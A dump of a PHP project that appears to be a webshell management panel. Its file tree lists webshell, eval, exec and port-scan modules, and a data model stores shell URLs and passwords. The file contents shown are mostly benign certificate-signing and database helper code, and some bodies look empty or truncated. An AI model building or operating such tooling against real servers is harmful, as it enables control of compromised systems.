├── 1.php ├── CASignCert.php ├── Crypt ├── AES.php ├── Base.php ├── Blowfish.php ├── DES.php ├── Hash.php ├── RC2.php ├── RC4.php ├── RSA.php ├── Random.php ├── Rijndael.php ├── TripleDES.php └── Twofish.php ├── DBAdopt ├── _class │ ├── BLL │ │ └── operator.php │ ├── DAL │ │ ├── activeLink │ │ │ ├── activeLink_fileDAL.class.php │ │ │ ├── activeLink_mssqlDAL.class.php │ │ │ ├── activeLink_mysqlDAL.class.php │ │ │ └── activeLink_sqliteDAL.class.php │ │ ├── activeServer │ │ │ ├── activeServer_fileDAL.class.php │ │ │ ├── activeServer_mssqlDAL.class.php │ │ │ ├── activeServer_mysqlDAL.class.php │ │ │ └── activeServer_sqliteDAL.class.php │ │ ├── cert │ │ │ ├── cert_fileDAL.class.php │ │ │ ├── cert_mssqlDAL.class.php │ │ │ ├── cert_mysqlDAL.class.php │ │ │ └── cert_sqliteDAL.class.php │ │ ├── shell │ │ │ ├── shell_fileDAL.class.php │ │ │ ├── shell_mssqlDAL.class.php │ │ │ ├── shell_mysqlDAL.class.php │ │ │ └── shell_sqliteDAL.class.php │ │ └── tempPassword │ │ │ └── tempPassword_mysqlDAL.class.php │ ├── IDAL │ │ ├── activeLinkIDAL.class.php │ │ ├── activeServerIDAL.class.php │ │ ├── certIDAL.class.php │ │ ├── shellIDAL.class.php │ │ └── tempPasswordIDAL.class.php │ └── Model │ │ ├── activeLinkModel.class.php │ │ ├── activeServerModel.class.php │ │ ├── baseModel.class.php │ │ ├── certModel.class.php │ │ ├── shellModel.class.php │ │ └── tempPasswordModel.class.php ├── file.php ├── mssql.php ├── mysql.php └── sqlite.php ├── Data └── format │ └── LinkCreateFlow.class.php ├── DataOperator.php ├── DataTransport.php ├── File ├── ANSI.php ├── ASN1.php └── X509.php ├── KeyManage.php ├── Math └── BigInteger.php ├── Net ├── SCP.php ├── SFTP.php ├── SFTP │ └── Stream.php ├── SSH1.php └── SSH2.php ├── Session.php ├── System ├── SSH │ └── Agent.php └── SSH_Agent.php ├── UI ├── CertManage.php ├── SystemSetting.php ├── WebShellManage.php ├── activeLink.php ├── assets │ ├── css │ │ ├── minimal.css │ │ └── vendor │ │ │ ├── animate │ │ │ ├── animate.css │ │ │ └── animate.min.css │ │ │ ├── bootstrap-checkbox.css │ │ │ ├── bootstrap │ │ │ └── bootstrap.min.css │ │ │ └── fonts │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ ├── glyphicons-halflings-regular.svg │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ └── glyphicons-halflings-regular.woff │ ├── images │ │ ├── arnold-avatar.jpg │ │ ├── backgrounds │ │ │ ├── 1.jpg │ │ │ ├── 2.jpg │ │ │ ├── 3.jpg │ │ │ ├── 4.jpg │ │ │ ├── 5.jpg │ │ │ ├── 6.jpg │ │ │ └── thumbs │ │ │ │ ├── 1.jpg │ │ │ │ ├── 2.jpg │ │ │ │ ├── 3.jpg │ │ │ │ ├── 4.jpg │ │ │ │ ├── 5.jpg │ │ │ │ └── 6.jpg │ │ ├── bootstrap-colorpicker │ │ │ ├── alpha-horizontal.png │ │ │ ├── alpha.png │ │ │ ├── hue-horizontal.png │ │ │ ├── hue.png │ │ │ └── saturation.png │ │ ├── carousel │ │ │ ├── carousel1.jpg │ │ │ ├── carousel2.jpg │ │ │ ├── carousel3.jpg │ │ │ └── carousel4.jpg │ │ ├── chosen-sprite-transparent.png │ │ ├── dot_pattern.png │ │ ├── george-avatar.jpg │ │ ├── ici-avatar.jpg │ │ ├── loader.gif │ │ ├── logo-big.png │ │ ├── minimal-logo.png │ │ ├── modal-close-hover.png │ │ ├── modal-close.png │ │ ├── noise.png │ │ ├── peter-avatar.jpg │ │ ├── profile-photo.jpg │ │ ├── random-avatar1.jpg │ │ ├── random-avatar2.jpg │ │ ├── random-avatar4.jpg │ │ ├── random-avatar5.jpg │ │ ├── random-avatar6.jpg │ │ ├── random-avatar7.jpg │ │ └── random-avatar8.jpg │ └── js │ │ ├── assets │ │ └── images │ │ │ └── video.jpg │ │ ├── jquery.js │ │ ├── minimal.min.js │ │ └── vendor │ │ ├── animate-numbers │ │ └── jquery.animateNumbers.js │ │ ├── blockui │ │ └── jquery.blockUI.js │ │ ├── bootstrap │ │ └── bootstrap.min.js │ │ ├── chosen │ │ ├── chosen.jquery.min.js │ │ ├── css │ │ │ ├── chosen-bootstrap.css │ │ │ └── chosen.min.css │ │ └── images │ │ │ ├── chosen-sprite.png │ │ │ └── chosen-sprite@2x.png │ │ ├── colorbox │ │ ├── css │ │ │ ├── colorbox.css │ │ │ └── images │ │ │ │ ├── controls.png │ │ │ │ ├── loading.gif │ │ │ │ └── loading_background.png │ │ └── jquery.colorbox-min.js │ │ ├── colorpalette │ │ ├── bootstrap-colorpalette.css │ │ └── bootstrap-colorpalette.js │ │ ├── colorpicker │ │ ├── bootstrap-colorpicker.min.js │ │ └── css │ │ │ └── bootstrap-colorpicker.css │ │ ├── datatables │ │ ├── ColReorderWithResize.js │ │ ├── colvis │ │ │ └── dataTables.colVis.min.js │ │ ├── css │ │ │ ├── ColVis.css │ │ │ ├── TableTools.css │ │ │ └── dataTables.bootstrap.css │ │ ├── dataTables.bootstrap.js │ │ ├── images │ │ │ ├── background.png │ │ │ ├── collection.png │ │ │ ├── collection_hover.png │ │ │ ├── copy.png │ │ │ ├── copy_hover.png │ │ │ ├── csv.png │ │ │ ├── csv_hover.png │ │ │ ├── datatables │ │ │ │ ├── sort_asc.png │ │ │ │ ├── sort_asc_disabled.png │ │ │ │ ├── sort_both.png │ │ │ │ ├── sort_desc.png │ │ │ │ └── sort_desc_disabled.png │ │ │ ├── pdf.png │ │ │ ├── pdf_hover.png │ │ │ ├── print.png │ │ │ ├── print_hover.png │ │ │ ├── xls.png │ │ │ └── xls_hover.png │ │ ├── jquery.dataTables.min.js │ │ ├── swf │ │ │ └── copy_csv_xls_pdf.swf │ │ └── tabletools │ │ │ ├── ZeroClipboard.js │ │ │ ├── dataTables.tableTools.min.js │ │ │ └── swf │ │ │ └── copy_csv_xls_pdf.swf │ │ ├── datepicker │ │ ├── bootstrap-datetimepicker.min.js │ │ └── css │ │ │ └── bootstrap-datetimepicker.css │ │ ├── easypiechart │ │ └── jquery.easypiechart.min.js │ │ ├── flot │ │ ├── jquery.flot.animator.min.js │ │ ├── jquery.flot.categories.min.js │ │ ├── jquery.flot.min.js │ │ ├── jquery.flot.orderBars.js │ │ ├── jquery.flot.pie.min.js │ │ ├── jquery.flot.selection.min.js │ │ ├── jquery.flot.stack.min.js │ │ ├── jquery.flot.time.min.js │ │ └── jquery.flot.tooltip.min.js │ │ ├── fullcalendar │ │ ├── fullcalendar.css │ │ ├── fullcalendar.min.js │ │ └── jquery-ui-1.10.4.custom.min.js │ │ ├── gmaps │ │ ├── jquery.ui.map.extensions.js │ │ ├── jquery.ui.map.full.min.js │ │ ├── jquery.ui.map.microformat.min.js │ │ └── markerclusterer.min.js │ │ ├── graphtable │ │ └── jquery.graphTable-0.3.js │ │ ├── jgrowl │ │ ├── css │ │ │ └── jquery.jgrowl.min.css │ │ └── jquery.jgrowl.min.js │ │ ├── jquery-file-upload │ │ ├── css │ │ │ ├── jquery.fileupload-noscript.css │ │ │ ├── jquery.fileupload-ui-noscript.css │ │ │ ├── jquery.fileupload-ui.css │ │ │ └── jquery.fileupload.css │ │ ├── fileupload-main.js │ │ ├── img │ │ │ ├── loading.gif │ │ │ └── progressbar.gif │ │ ├── jquery.fileupload-audio.js │ │ ├── jquery.fileupload-image.js │ │ ├── jquery.fileupload-process.js │ │ ├── jquery.fileupload-ui.js │ │ ├── jquery.fileupload-validate.js │ │ ├── jquery.fileupload-video.js │ │ ├── jquery.fileupload.js │ │ ├── jquery.iframe-transport.js │ │ └── vendor │ │ │ └── jquery.ui.widget.js │ │ ├── justgage │ │ └── justgage.js │ │ ├── jvectormaps │ │ ├── addons │ │ │ ├── gdp-data.js │ │ │ ├── jquery-jvectormap-de-merc-en.js │ │ │ ├── jquery-jvectormap-es-merc-en.js │ │ │ ├── jquery-jvectormap-fr-merc-en.js │ │ │ ├── jquery-jvectormap-us-aea-en.js │ │ │ ├── jquery-jvectormap-us-lcc-en.js │ │ │ ├── jquery-jvectormap-world-mill-en.js │ │ │ └── mall-map.js │ │ ├── css │ │ │ └── jquery-jvectormap-1.2.2.css │ │ └── jquery-jvectormap-1.2.2.min.js │ │ ├── mmenu │ │ ├── css │ │ │ └── jquery.mmenu.all.css │ │ └── js │ │ │ └── jquery.mmenu.min.js │ │ ├── momentjs │ │ └── moment-with-langs.min.js │ │ ├── morris │ │ ├── css │ │ │ └── morris.css │ │ └── morris.min.js │ │ ├── nicescroll │ │ └── jquery.nicescroll.min.js │ │ ├── no-ui-slider │ │ ├── css │ │ │ └── jquery.nouislider.min.css │ │ └── jquery.nouislider.min.js │ │ ├── owl-carousel │ │ ├── css │ │ │ ├── AjaxLoader.gif │ │ │ ├── grabbing.png │ │ │ ├── owl.carousel.css │ │ │ └── owl.theme.css │ │ └── owl.carousel.min.js │ │ ├── parsley │ │ └── parsley.min.js │ │ ├── rickshaw │ │ ├── css │ │ │ └── rickshaw.min.css │ │ ├── d3.v2.js │ │ ├── raphael-min.js │ │ └── rickshaw.min.js │ │ ├── skycons │ │ └── skycons.js │ │ ├── sparkline │ │ └── jquery.sparkline.min.js │ │ ├── summernote │ │ ├── css │ │ │ ├── summernote-bs3.css │ │ │ └── summernote.css │ │ ├── fonts │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ ├── glyphicons-halflings-regular.svg │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ └── glyphicons-halflings-regular.woff │ │ └── summernote.min.js │ │ ├── superbox │ │ ├── css │ │ │ └── style.css │ │ ├── img │ │ │ └── close.gif │ │ └── superbox.js │ │ ├── tabdrop │ │ ├── bootstrap-tabdrop.min.js │ │ └── css │ │ │ └── tabdrop.css │ │ ├── typeahead │ │ ├── css │ │ │ └── typeahead.js-bootstrap.css │ │ └── typeahead.min.js │ │ ├── videobackground │ │ ├── css │ │ │ └── jquery.videobackground.css │ │ └── jquery.videobackground.js │ │ └── wizard │ │ └── jquery.bootstrap.wizard.min.js ├── css │ ├── VarelaRound.css │ ├── custom.css │ ├── custom_colors.html │ ├── element.css │ ├── fontawesome.css │ ├── grid.css │ ├── icons │ │ ├── aboutus.png │ │ ├── android.png │ │ ├── announce.png │ │ ├── blog.png │ │ ├── calendar.png │ │ ├── clients.png │ │ ├── connection-w.png │ │ ├── connection.png │ │ ├── contact.png │ │ ├── doc-list.png │ │ ├── drupal.png │ │ ├── faq.png │ │ ├── grid.png │ │ ├── home.png │ │ ├── info-icon-b.png │ │ ├── info-icon.png │ │ ├── link.png │ │ ├── magnifier.png │ │ ├── mail-b.png │ │ ├── mail.png │ │ ├── pencil.png │ │ ├── phone.png │ │ ├── portfolio.png │ │ ├── services.png │ │ ├── social-facebook.png │ │ ├── social-twitter.png │ │ ├── social-whale.png │ │ ├── social-youtube.png │ │ ├── star-icon-b.png │ │ ├── tag-cloud.png │ │ ├── title.png │ │ ├── to-left-arrow-double.png │ │ ├── to-left-arrow.png │ │ ├── to-left-icon-black.png │ │ ├── to-right-arrow-double.png │ │ ├── to-right-arrow.png │ │ ├── twitter-white-icon.png │ │ ├── twitter.png │ │ └── welcome.png │ ├── img │ │ ├── ajax-loader.gif │ │ ├── back-to-top.png │ │ ├── facebook.png │ │ ├── favicon.ico │ │ ├── line-pattern.png │ │ ├── logo.png │ │ ├── minus.png │ │ ├── plus.png │ │ ├── search-box.png │ │ ├── sideway-bg.png │ │ ├── to-left-icon-white.png │ │ ├── to-right-arrow.png │ │ ├── twitter.png │ │ └── vimeo.png │ ├── index.css │ ├── nivo.css │ ├── processbar.css │ ├── reset.css │ └── select │ │ ├── cs-select.css │ │ ├── cs-skin-border.css │ │ ├── cs-skin-elastic.css │ │ ├── cs-skin-rotate.css │ │ ├── cs-skin-slide.css │ │ └── cs-skin-underline.css ├── fonts │ ├── FontAwesome.otf │ ├── VarelaRound.ttf │ ├── fontawesome-webfont-iefix.eot │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.svg │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ └── icomoon │ │ ├── icomoon.eot │ │ ├── icomoon.svg │ │ ├── icomoon.ttf │ │ └── icomoon.woff ├── index.php ├── js │ ├── IE7.js │ ├── IE8.js │ ├── IE9.js │ ├── RSA │ │ ├── asn1hex.js │ │ ├── base64.js │ │ ├── jsbn.js │ │ ├── jsbn2.js │ │ ├── prng4.js │ │ ├── rng.js │ │ ├── rsa-pem.js │ │ ├── rsa-sign.js │ │ ├── rsa.js │ │ ├── rsa2.js │ │ ├── sha1.js │ │ ├── sha256.js │ │ └── x509.js │ ├── ajaxfileupload.js │ ├── asyncLock.js │ ├── base64.js │ ├── bootstrapLoader.js │ ├── caroufredsel.js │ ├── classie.js │ ├── core.js │ ├── crypto │ │ ├── aes-min.js │ │ ├── cipher-core-min.js │ │ ├── core-min.js │ │ ├── enc-base64-min.js │ │ ├── enc-utf16-min.js │ │ ├── evpkdf-min.js │ │ ├── format-hex-min.js │ │ ├── hmac-min.js │ │ ├── lib-typedarrays-min.js │ │ ├── md5-min.js │ │ ├── mode-cfb-min.js │ │ ├── mode-ctr-gladman-min.js │ │ ├── mode-ctr-min.js │ │ ├── mode-ecb-min.js │ │ ├── mode-ofb-min.js │ │ ├── pad-ansix923-min.js │ │ ├── pad-iso10126-min.js │ │ ├── pad-iso97971-min.js │ │ ├── pad-nopadding-min.js │ │ ├── pad-zeropadding-min.js │ │ ├── pbkdf2-min.js │ │ ├── rabbit-legacy-min.js │ │ ├── rabbit-min.js │ │ ├── rc4-min.js │ │ ├── ripemd160-min.js │ │ ├── sha1-min.js │ │ ├── sha224-min.js │ │ ├── sha256-min.js │ │ ├── sha3-min.js │ │ ├── sha384-min.js │ │ ├── sha512-min.js │ │ ├── tripledes-min.js │ │ └── x64-core-min.js │ ├── custom.js │ ├── html5.js │ ├── isotope.js │ ├── jquery.fileDownload.js │ ├── jquery.js │ ├── jquery.mousewheel.js │ ├── msgbox.js │ ├── nivo.js │ ├── progressbar.js │ ├── rollups │ │ ├── aes.js │ │ ├── hmac-md5.js │ │ ├── hmac-ripemd160.js │ │ ├── hmac-sha1.js │ │ ├── hmac-sha224.js │ │ ├── hmac-sha256.js │ │ ├── hmac-sha3.js │ │ ├── hmac-sha384.js │ │ ├── hmac-sha512.js │ │ ├── md5.js │ │ ├── pbkdf2.js │ │ ├── rabbit-legacy.js │ │ ├── rabbit.js │ │ ├── rc4.js │ │ ├── ripemd160.js │ │ ├── sha1.js │ │ ├── sha224.js │ │ ├── sha256.js │ │ ├── sha3.js │ │ ├── sha384.js │ │ ├── sha512.js │ │ └── tripledes.js │ ├── selectFx.js │ ├── shellTools │ │ ├── MYSQLQuery.js │ │ ├── exec.js │ │ ├── fileTools.js │ │ ├── portScan.js │ │ └── varAndSecInfo.js │ └── tinyscrollbar.js ├── runshell.php ├── shell │ ├── MYSQLManager.php │ ├── eval.php │ ├── exec.php │ ├── fileManager.php │ ├── portScan.php │ ├── securityInfo.php │ └── var.php ├── shellInfo.php ├── test.php └── test │ ├── ajaxfileupload.css │ ├── ajaxfileupload.php │ └── doajaxfileupload.php ├── XMLdatebase.php ├── common.php ├── config.php ├── configOperator.php ├── data.php ├── echo.php ├── eval.php ├── evaltest.php ├── index.php ├── interface.php ├── openssl.cnf ├── phpspy.php ├── proxy.php ├── test.xml ├── uploadUpload.php └── work.php /1.php: -------------------------------------------------------------------------------- 1 | createKey()); 8 | $CAPrivKey->loadKey($privatekey); 9 | 10 | $pubKey = new Crypt_RSA(); 11 | $pubKey->loadKey($publickey); 12 | $pubKey->setPublicKey(); 13 | 14 | echo "the private key for the CA cert (can be discarded):\r\n\r\n"; 15 | echo $privatekey; 16 | echo "\r\n\r\n"; 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | // create a self-signed cert that'll serve as the CA 25 | $subject = new File_X509(); 26 | $subject->setDNProp('id-at-organizationName', 'phpseclib demo CA'); 27 | $subject->setPublicKey($pubKey); 28 | 29 | $issuer = new File_X509(); 30 | $issuer->setPrivateKey($CAPrivKey); 31 | $issuer->setDN($CASubject = $subject->getDN()); 32 | 33 | $x509 = new File_X509(); 34 | $x509->makeCA(); 35 | 36 | $result = $x509->sign($issuer, $subject); 37 | echo "the CA cert to be imported into the browser is as follows:\r\n\r\n"; 38 | echo $x509->saveX509($result); 39 | echo "\r\n\r\n"; 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | // create private key / x.509 cert for stunnel / website 49 | $privKey = new Crypt_RSA(); 50 | extract($privKey->createKey()); 51 | $privKey->loadKey($privatekey); 52 | 53 | $pubKey = new Crypt_RSA(); 54 | $pubKey->loadKey($publickey); 55 | $pubKey->setPublicKey(); 56 | 57 | $subject = new File_X509(); 58 | $subject->setDNProp('id-at-organizationName', 'phpseclib demo cert'); 59 | 60 | $subject->setPublicKey($pubKey); 61 | 62 | $issuer = new File_X509(); 63 | $issuer->setPrivateKey($CAPrivKey); 64 | $issuer->setDN($CASubject); 65 | 66 | $x509 = new File_X509(); 67 | $result = $x509->sign($issuer, $subject); 68 | echo "the stunnel.pem contents are as follows:\r\n\r\n"; 69 | echo $privKey->getPrivateKey(); 70 | echo "\r\n"; 71 | echo $x509->saveX509($result); 72 | echo "\r\n"; 73 | ?> -------------------------------------------------------------------------------- /CASignCert.php: -------------------------------------------------------------------------------- 1 | createKey($GLOBALS['RSALength']); 26 | $CAPrivKey->loadKey($keyArray['privatekey']); 27 | 28 | $pubKey = new Crypt_RSA(); 29 | $pubKey->loadKey($keyArray['publickey']); 30 | $pubKey->setPublicKey(); 31 | 32 | 33 | // CA 公钥 x509 34 | $subject = new File_X509(); 35 | $subject->setDNProp('id-at-organizationName', $GLOBALS['CAname'].' CA'); 36 | $subject->setPublicKey($pubKey); 37 | 38 | $issuer = new File_X509(); 39 | $issuer->setPrivateKey($CAPrivKey); 40 | $issuer->setDN($CASubject = $subject->getDN()); 41 | 42 | $x509 = new File_X509(); 43 | $x509->makeCA(); 44 | 45 | $result = $x509->sign($issuer, $subject); 46 | 47 | setConfig_CAPublishX509($x509->saveX509($result)); 48 | setConfig_CAPrivateKey($keyArray['privatekey']); 49 | return true; 50 | 51 | } 52 | 53 | 54 | function signNewCert(){ 55 | if(!$GLOBALS['isCA']){ 56 | return false; 57 | } 58 | else { 59 | $CAPrivKey = new Crypt_RSA(); 60 | $CAPrivKey->loadKey($GLOBALS['CAPrivKeyStr']); 61 | 62 | 63 | $CAx509 = new File_X509(); 64 | $CAx509->loadX509($GLOBALS['CAPubX509']); 65 | 66 | 67 | //认证证书 68 | $privKey = new Crypt_RSA(); 69 | $keyArray = $CAPrivKey->createKey($GLOBALS['RSALength']); 70 | $privKey->loadKey($keyArray['privatekey']); 71 | 72 | $pubKey = new Crypt_RSA(); 73 | $pubKey->loadKey($keyArray['publickey']); 74 | $pubKey->setPublicKey(); 75 | 76 | $subject = new File_X509(); 77 | $subject->setDNProp('id-at-organizationName', $GLOBALS['CAname'] . ' cert'); 78 | 79 | $subject->setPublicKey($pubKey); 80 | 81 | $issuer = new File_X509(); 82 | $issuer->setPrivateKey($CAPrivKey); 83 | $issuer->setDN($CAx509->getDN()); 84 | 85 | $x509 = new File_X509(); 86 | $result = $x509->sign($issuer, $subject); 87 | 88 | return array( 89 | 'privateKey' => $privKey->getPrivateKey(), 90 | 'publicX509' => $x509->saveX509($result) 91 | ); 92 | 93 | } 94 | } 95 | 96 | ?> -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/activeLink/activeLink_fileDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/activeLink/activeLink_mssqlDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/activeLink/activeLink_sqliteDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/activeServer/activeServer_fileDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/activeServer/activeServer_mssqlDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/activeServer/activeServer_sqliteDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/cert/cert_fileDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/cert/cert_mssqlDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/cert/cert_sqliteDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/shell/shell_fileDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/shell/shell_mssqlDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/DAL/shell/shell_sqliteDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/IDAL/activeLinkIDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/IDAL/activeServerIDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/IDAL/certIDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/IDAL/shellIDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/IDAL/tempPasswordIDAL.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DBAdopt/_class/Model/activeLinkModel.class.php: -------------------------------------------------------------------------------- 1 | createTime=$ctimestr; 19 | $this->linkGUID=$linkguidstr; 20 | $this->nextIP=$nextipstr; 21 | 22 | } 23 | 24 | 25 | 26 | } 27 | ?> -------------------------------------------------------------------------------- /DBAdopt/_class/Model/activeServerModel.class.php: -------------------------------------------------------------------------------- 1 | GUID=$guidstr; 18 | $this->interfaceURL=$interfaceURLstr; 19 | $this->renewTime=$rnTime; 20 | 21 | } 22 | 23 | 24 | } 25 | ?> -------------------------------------------------------------------------------- /DBAdopt/_class/Model/baseModel.class.php: -------------------------------------------------------------------------------- 1 | $property_name)) 14 | { 15 | return($this->$property_name); 16 | }else{ 17 | return(NULL); 18 | } 19 | } 20 | 21 | //__set()方法用来设置私有属性 22 | public function __set($property_name,$value) 23 | { 24 | $this->$property_name=$value; 25 | } 26 | 27 | //__isset()方法 28 | public function __isset($nm) 29 | { 30 | //echo"isset()函数测定私有成员时,自动调用"; 31 | return isset($this->$nm); 32 | } 33 | 34 | //__unset()方法 35 | public function __unset($nm) 36 | { 37 | //echo"当在类外部使用unset()函数来删除私有成员时自动调用的"; 38 | unset($this->$nm); 39 | } 40 | 41 | } 42 | ?> -------------------------------------------------------------------------------- /DBAdopt/_class/Model/certModel.class.php: -------------------------------------------------------------------------------- 1 | GUID=$guidstr; 20 | $this->IP=$ipstr; 21 | $this->x509=$x509str; 22 | $this->renewTime=$rnTime; 23 | 24 | } 25 | 26 | } 27 | ?> -------------------------------------------------------------------------------- /DBAdopt/_class/Model/shellModel.class.php: -------------------------------------------------------------------------------- 1 | url=$urlstr; 23 | $this->pass=$passstr; 24 | $this->extraConfig=$exconfigstr; 25 | $this->notes=$notesstr; 26 | $this->type=$typestr; 27 | 28 | } 29 | 30 | 31 | } 32 | ?> -------------------------------------------------------------------------------- /DBAdopt/_class/Model/tempPasswordModel.class.php: -------------------------------------------------------------------------------- 1 | GUID=$GUIDstr; 22 | $this->password=$passwordstr; 23 | $this->way=$waystr; 24 | $this->renewTime=$renewTimesstr; 25 | 26 | } 27 | 28 | 29 | } 30 | ?> -------------------------------------------------------------------------------- /DBAdopt/file.php: -------------------------------------------------------------------------------- 1 | host=$GLOBALS['mysql_host']; 19 | $this->user=$GLOBALS['mysql_username']; 20 | $this->password=$GLOBALS['mysql_password']; 21 | $this->db=$GLOBALS['mysql_database']; 22 | $this->conn=mysqli_connect($this->host,$this->user,$this->password,$this->db) 23 | or die("connect error:".mysql_error()); 24 | } 25 | 26 | 27 | /* 28 | *构造函数 29 | *@param $host 主机名 30 | *@param $user 数据库用户 31 | *@param $password 数据库密码 32 | *@param $db 当前使用的数据库名 33 | */ 34 | /* 35 | function mysqlHelper4($host,$user,$password,$db){ 36 | $this->host=$host; 37 | $this->user=$user; 38 | $this->password=$password; 39 | $this->db=$db; 40 | $this->conn=mysql_connect($this->host,$this->user,$this->password) 41 | or die("connect error:".mysql_error()); 42 | mysql_select_db($this->db,$this->conn) 43 | or die("switch db error:".mysql_error()); 44 | mysql_query("set names utf8",$this->conn); 45 | } 46 | /* 47 | *@param $sql 添加记录的语句 48 | *用于插入记录 49 | */ 50 | function insert($sql){ 51 | if(!$this->conn->query($sql)) 52 | echo "insert error:".$this->conn->error; 53 | //mysql_query($sql,$this->conn) or die("insert error:".mysql_error()); 54 | } 55 | /* 56 | *@param $sql 更新记录的语句 57 | *用于更新记录 58 | */ 59 | function update($sql){ 60 | $this->conn->query($sql) or die("update error:".$this->conn->error); 61 | } 62 | /* 63 | *@param $sql 删除记录的语句 64 | *用于删除记录 65 | */ 66 | function delete($sql){ 67 | $this->conn->query($sql) or die("delete error:".$this->conn->error); 68 | //mysql_query($sql,$this->conn) or die("delete error:".mysql_error()); 69 | } 70 | /* 71 | *@param $sql 查询记录的语句 72 | *@return $arrs 以一个数组的形式返回数据库中所有记录的结果集 73 | *结果如下:Array([0]=>Array(第一条记录) [1]=>Array(第二条记录)...) 74 | **/ 75 | function getRecords($sql){ 76 | $all=$this->conn->query($sql); 77 | $i=0; 78 | $arrs = array(); 79 | 80 | while($result=mysqli_fetch_array($all,MYSQLI_ASSOC)){ 81 | $arrs[$i]=$result; 82 | $i++; 83 | } 84 | return $arrs; 85 | } 86 | /* 87 | *@param $sql 查询记录的语句 88 | *@return $arrs 以一个数组的形式返回所有字段的结果集 89 | *结果如下:Array([0]=>字段名 [1]=>字段名...) 90 | **/ 91 | function getFields($sql){ 92 | $all=$this->conn->query($sql); 93 | $i=0; 94 | while($result=mysqli_fetch_field($all)){ 95 | $arrs[$i]=$result->name; 96 | $i++; 97 | } 98 | return $arrs; 99 | } 100 | 101 | function getRows($sql){ 102 | $all=$this->conn->query($sql); 103 | list($cnt)=mysqli_fetch_row($all); 104 | return $cnt; 105 | } 106 | 107 | 108 | function close(){ 109 | $this->conn->close(); 110 | } 111 | } 112 | 113 | ?> -------------------------------------------------------------------------------- /DBAdopt/sqlite.php: -------------------------------------------------------------------------------- 1 | query("create table test(id integer primary key,title varchar(50))"); 18 | //接下来添加数据 19 | $DB->query("insert into test(title) values('泡菜')"); 20 | $DB->query("insert into test(title) values('蓝雨')"); 21 | $DB->query("insert into test(title) values('Ajan')"); 22 | $DB->query("insert into test(title) values('傲雪蓝天')"); 23 | //读取数据 24 | print_r($DB->getlist('select * from test order by id desc')); 25 | //更新数据 26 | $DB->query('update test set title = "三大" where id = 9'); 27 | ***/ 28 | 29 | class SQLiteHelper 30 | { 31 | function __construct($file) 32 | { 33 | try 34 | { 35 | $this->connection=new PDO('sqlite:'.$file); 36 | } 37 | catch(PDOException $e) 38 | { 39 | try 40 | { 41 | $this->connection=new PDO('sqlite2:'.$file); 42 | } 43 | catch(PDOException $e) 44 | { 45 | exit('error!'); 46 | } 47 | } 48 | } 49 | 50 | function __destruct() 51 | { 52 | $this->connection=null; 53 | } 54 | 55 | function query($sql) //直接运行SQL,可用于更新、删除数据 56 | { 57 | return $this->connection->query($sql); 58 | } 59 | 60 | function getlist($sql) //取得记录列表 61 | { 62 | $recordlist=array(); 63 | foreach($this->query($sql) as $rstmp) 64 | { 65 | $recordlist[]=$rstmp; 66 | } 67 | return $recordlist; 68 | } 69 | 70 | function Execute($sql) 71 | { 72 | return $this->query($sql)->fetch(); 73 | } 74 | 75 | function RecordArray($sql) 76 | { 77 | return $this->query($sql)->fetchAll(); 78 | } 79 | 80 | function RecordCount($sql) 81 | { 82 | return count($this->RecordArray($sql)); 83 | } 84 | 85 | function RecordLastID() 86 | { 87 | return $this->connection->lastInsertId(); 88 | } 89 | } 90 | ?> -------------------------------------------------------------------------------- /Data/format/LinkCreateFlow.class.php: -------------------------------------------------------------------------------- 1 | $property_name)) 30 | { 31 | return($this->$property_name); 32 | }else{ 33 | return(NULL); 34 | } 35 | } 36 | 37 | //__set()方法用来设置私有属性 38 | private function __set($property_name,$value) 39 | { 40 | $this->$property_name=$value; 41 | } 42 | 43 | //__isset()方法 44 | private function __isset($nm) 45 | { 46 | //echo"isset()函数测定私有成员时,自动调用"; 47 | return isset($this->$nm); 48 | } 49 | 50 | //__unset()方法 51 | private function __unset($nm) 52 | { 53 | //echo"当在类外部使用unset()函数来删除私有成员时自动调用的"; 54 | unset($this->$nm); 55 | } 56 | } 57 | ?> -------------------------------------------------------------------------------- /DataOperator.php: -------------------------------------------------------------------------------- 1 | 404 Not Found

404 Not Found

